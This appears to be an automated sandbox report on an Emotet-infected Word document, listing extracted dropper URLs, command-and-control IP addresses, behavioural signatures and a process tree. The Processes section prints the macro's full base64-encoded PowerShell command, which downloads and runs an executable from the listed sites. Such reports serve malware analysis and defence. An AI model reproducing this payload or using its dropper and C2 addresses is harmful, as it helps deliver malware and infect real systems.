Analysis

  • max time kernel
    135s
  • max time network
    145s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    19/08/2020, 14:26

General

  • Target
    emotet_e2_c0cc9b7f9e29bd3365ffa10fc1fc152b67408939571c5f4e9ff97dc0246fe13d_2020-08-19__142415._doc.doc
  • Size 253KB
  • Sample200819-1a184zb6kn
  • SHA256 c0cc9b7f9e29bd3365ffa10fc1fc152b67408939571c5f4e9ff97dc0246fe13d
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://easma.cn/wp-admin/yy/

  • exe.dropper

    https://adhd.org.sa/sub_mrs/Zj0ZrG/

  • exe.dropper

    http://avanwilligen.nl/vo/tUbJ/

  • exe.dropper

    http://archmedia.com.br/Blog/sVey/

  • exe.dropper

    http://bhar.com.br/caurina/tE/

  • exe.dropper

    http://radiacaoweb.com.br/ZxOf1E/

  • exe.dropper

    http://ceyhunhurcan.com/revolution-addons/mRXi8NJ/

Extracted

Family
  • emotet

C2
  • 64.183.73.122:80

  • 69.30.203.214:8080

  • 67.205.85.243:8080

  • 222.214.218.37:4143

  • 104.236.246.93:8080

  • 110.145.77.103:80

  • 89.186.91.200:443

  • 74.120.55.163:80

  • 95.179.229.244:8080

  • 70.167.215.250:8080

  • 47.146.117.214:80

  • 209.141.54.221:8080

  • 24.43.99.75:80

  • 103.86.49.11:8080

  • 142.105.151.124:443

  • 62.138.26.28:8080

  • 24.179.13.119:80

  • 37.187.72.193:8080

  • 137.59.187.107:8080

  • 97.82.79.83:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_c0cc9b7f9e29bd3365ffa10fc1fc152b67408939571c5f4e9ff97dc0246fe13d_2020-08-19__142415._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4024
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABPADgAcQBkADEAZABmAD0AKAAnAFIAJwArACcAMAByAGoANQB6AF8AJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgBUAEUAbQBwAFwATwBGAEYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAHUAYABSAGkAYABUAFkAYABQAFIATwBUAE8AYABjAE8AbAAiACAAPQAgACgAJwB0AGwAcwAxACcAKwAnADIALAAgAHQAJwArACcAbABzADEAMQAsACcAKwAnACAAdABsAHMAJwApADsAJABMAGEAZAAyAG0AcgBqACAAPQAgACgAJwBZAHkAJwArACcANQBtADQAcwAnACkAOwAkAEsAdgBoAHUAMAB1AHEAPQAoACcAVQByAHcAaQBnACcAKwAnAGIAMwAnACkAOwAkAEUAZAB3ADgAZgBlADQAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHkATQBrAE8AZgBmAGkAJwArACcAYwAnACsAJwBlADIAMAAxADkAJwArACcAeQBNACcAKwAnAGsAJwApAC0AYwByAGUAcABsAGEAQwBlACcAeQBNAGsAJwAsAFsAQwBoAEEAcgBdADkAMgApACsAJABMAGEAZAAyAG0AcgBqACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABDADkANQBoAGgAeAB1AD0AKAAnAFQAYQAnACsAJwA5ADQAegB4ADkAJwApADsAJABRADQAZQBhAHAAbwBvAD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlAGMAJwArACcAdAAnACkAIABuAGUAdAAuAHcAZQBCAEMATABpAEUATgB0ADsAJABOAG8AeABfAF8AeQBoAD0AKAAnAGgAdAB0AHAAOgAvAC8AZQBhAHMAbQBhACcAKwAnAC4AJwArACcAYwBuAC8AdwAnACsAJwBwAC0AYQBkAG0AaQBuAC8AeQB5ACcAKwAnAC8AKgAnACsAJwBoAHQAdABwAHMAOgAvACcAKwAnAC8AYQBkAGgAZAAnACsAJwAuACcAKwAnAG8AcgBnAC4AcwBhAC8AcwB1AGIAXwBtAHIAcwAvAFoAagAwAFoAJwArACcAcgBHACcAKwAnAC8AKgBoAHQAdABwACcAKwAnADoALwAnACsAJwAvACcAKwAnAGEAdgAnACsAJwBhAG4AdwBpAGwAbABpAGcAJwArACcAZQBuAC4AbgBsAC8AdgAnACsAJwBvAC8AdABVAGIASgAnACsAJwAvACoAaAB0AHQAJwArACcAcAA6AC8ALwBhAHIAYwBoAG0AZQAnACsAJwBkAGkAJwArACcAYQAuACcAKwAnAGMAbwBtAC4AYgByAC8AQgBsAG8AZwAnACsAJwAvACcAKwAnAHMAVgBlAHkALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvAC8AYgBoAGEAcgAnACsAJwAuAGMAJwArACcAbwBtAC4AYgByAC8AYwBhAHUAcgBpAG4AYQAvAHQARQAvACoAJwArACcAaAB0AHQAcAA6ACcAKwAnAC8ALwByAGEAZABpAGEAYwAnACsAJwBhACcAKwAnAG8AdwAnACsAJwBlACcAKwAnAGIALgBjAG8AbQAuAGIAcgAvAFoAeABPAGYAJwArACcAMQAnACsAJwBFAC8AKgBoAHQAdABwADoALwAvAGMAZQB5AGgAdQBuACcAKwAnAGgAdQByAGMAYQAnACsAJwBuAC4AYwBvAG0ALwByAGUAdgBvAGwAdQB0AGkAbwBuACcAKwAnAC0AYQBkAGQAbwBuAHMALwBtAFIAWAAnACsAJwBpADgATgAnACsAJwBKAC8AJwApAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAaQBiAHQAdAB0AGcAPQAoACcARwBhADEAJwArACcAMwAnACsAJwBoAHEANQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABHADIAXwA0AGMAcgA2ACAAaQBuACAAJABOAG8AeABfAF8AeQBoACkAewB0AHIAeQB7ACQAUQA0AGUAYQBwAG8AbwAuACIARABvAHcAYABOAEwAbwBBAGQARgBgAGkAbABlACIAKAAkAEcAMgBfADQAYwByADYALAAgACQARQBkAHcAOABmAGUANAApADsAJABFADkAMQBvAF8AawBxAD0AKAAnAEEAdgA0ACcAKwAnADAAJwArACcAdwB5AGoAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEUAZAB3ADgAZgBlADQAKQAuACIATABFAG4AYABnAGAAVABoACIAIAAtAGcAZQAgADIAMgA4ADMAMAApACAAewAuACgAJwBJAG4AdgBvAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABFAGQAdwA4AGYAZQA0ACkAOwAkAEEAZgA5AF8AaQBoAHYAPQAoACcATwBfAGcAOQAnACsAJwA0AHAAJwArACcAbAAnACkAOwBiAHIAZQBhAGsAOwAkAFYAdwAyADgAdAB2ADQAPQAoACcARwB0ADAAMgAnACsAJwBpACcAKwAnAHgAdgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AaABnAGsANwBmADAAPQAoACcARQAnACsAJwB4AHAAbABrADYAJwArACcAaAAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1252
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Yy5m4s.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Yy5m4s.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3000
      • C:\Windows\SysWOW64\MPG4DECD\msdrm.exe
        "C:\Windows\SysWOW64\MPG4DECD\msdrm.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1632

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1252-10-0x00007FFD51670000-0x00007FFD5205C000-memory.dmp

        memory/1252-11-0x000001C35E8A0000-0x000001C35E8A1000-memory.dmp

        memory/1252-12-0x000001C376BB0000-0x000001C376BB1000-memory.dmp

        memory/1632-19-0x0000000000950000-0x000000000095C000-memory.dmp

        memory/3000-16-0x0000000000A80000-0x0000000000A8C000-memory.dmp

        memory/4024-9-0x000001DC46C5B000-0x000001DC46C6A000-memory.dmp

        memory/4024-0-0x00007FFD591D0000-0x00007FFD59896000-memory.dmp

        memory/4024-8-0x000001DC46C6A000-0x000001DC46C75000-memory.dmp

        memory/4024-7-0x000001DC46C5B000-0x000001DC46C6A000-memory.dmp

        memory/4024-3-0x000001DC46B6E000-0x000001DC46B71000-memory.dmp

        memory/4024-2-0x000001DC46B6E000-0x000001DC46B71000-memory.dmp

        memory/4024-4-0x000001DC46B71000-0x000001DC46B82000-memory.dmp

        memory/4024-6-0x000001DC46C5B000-0x000001DC46C6A000-memory.dmp

        memory/4024-1-0x000001DC46B71000-0x000001DC46B82000-memory.dmp

        memory/4024-5-0x000001DC46B71000-0x000001DC46B82000-memory.dmp